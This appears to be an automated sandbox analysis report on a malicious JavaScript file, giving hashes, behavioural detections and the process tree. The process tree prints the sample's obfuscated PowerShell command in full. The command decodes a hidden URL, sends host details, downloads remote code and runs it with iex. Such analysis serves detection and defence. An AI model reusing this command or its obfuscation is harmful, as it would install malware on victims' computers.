Analysis
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max time kernel
135s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
09/05/2023, 10:01
Static task
static1
Behavioral task
behavioral1
Sample
Info_8_may_7937412.js
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
Info_8_may_7937412.js
Resource
win10v2004-20230220-en
General
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Target
Info_8_may_7937412.js
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Size
317KB
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MD5
633689a3c81385c9d6cd2484568381e5
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SHA1
3826e574c4d9b5cad277d33cf045f18bb79f2b73
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SHA256
05fd936b02186833f045ea6dae98f72c658b28711d18ee21000bda405db3c903
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SHA512
fd6a905928cf9317922ceb682d8e180c07ef0c9c877bb90e4a2781840269bd52d3ec05c48d59e306b61866b5719036e4a4aa4627be592bc0498489aa2b29c256
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SSDEEP
3072:nJXSxohIPrgqyEDtkXjGtmloqvAShw3TCX1ZK9M59a/B3XDk9/f0zVvoySeZx7Th:Y
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 780 1416 conhost.exe 21 -
Blocklisted process makes network request 2 IoCs
flow pid Process 7 564 powershell.exe 10 564 powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ipinfo.io -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 564 powershell.exe 564 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 564 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 780 wrote to memory of 564 780 conhost.exe 85 PID 780 wrote to memory of 564 780 conhost.exe 85
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Info_8_may_7937412.js1⤵PID:628
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C:\Windows\system32\conhost.execonhost --headless powershell @(3252,3317,3326,3334,3274,3315,3327,3325,3328,3333,3332,3317,3330,3326,3313,3325,3317)|foreach{$qdgp=$qdgp+[char]($_-3216)};@(2132,2169,2177,2170,2166,2160,2104,2141,2160,2174,2175,2136,2160,2175,2163,2170,2159)|foreach{$kohp=$kohp+[char]($_-2059)};@(5144,5151,5144,5149,5141,5150,5085,5144,5150,5086,5144,5151)|foreach{$vdopmj=$vdopmj+[char]($_-5039)};@(8283,8295,8295,8291,8237,8226,8226,8291,8293,8296,8297,8277,8225,8281,8296,8289,8226,8293,8295,8225,8291,8283,8291,8242,8284,8240)|foreach{$pzusvm=$pzusvm+[char]($_-8179)};new-alias qfer $kohp;$ldwnyj='rl';$yga = qfer -Uri $vdopmj;new-alias reap cu$ldwnyj;$ds=$executioncontext.invokecommand.expandstring($qdgp);.$([char](6692-6587)+'ex')(reap -useb "$pzusvm$yga<>$ds")1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:780 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell @(3252,3317,3326,3334,3274,3315,3327,3325,3328,3333,3332,3317,3330,3326,3313,3325,3317)|foreach{$qdgp=$qdgp+[char]($_-3216)};@(2132,2169,2177,2170,2166,2160,2104,2141,2160,2174,2175,2136,2160,2175,2163,2170,2159)|foreach{$kohp=$kohp+[char]($_-2059)};@(5144,5151,5144,5149,5141,5150,5085,5144,5150,5086,5144,5151)|foreach{$vdopmj=$vdopmj+[char]($_-5039)};@(8283,8295,8295,8291,8237,8226,8226,8291,8293,8296,8297,8277,8225,8281,8296,8289,8226,8293,8295,8225,8291,8283,8291,8242,8284,8240)|foreach{$pzusvm=$pzusvm+[char]($_-8179)};new-alias qfer $kohp;$ldwnyj='rl';$yga = qfer -Uri $vdopmj;new-alias reap cu$ldwnyj;$ds=$executioncontext.invokecommand.expandstring($qdgp);.$([char](6692-6587)+'ex')(reap -useb $pzusvm$yga<>$ds)2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:564
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Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82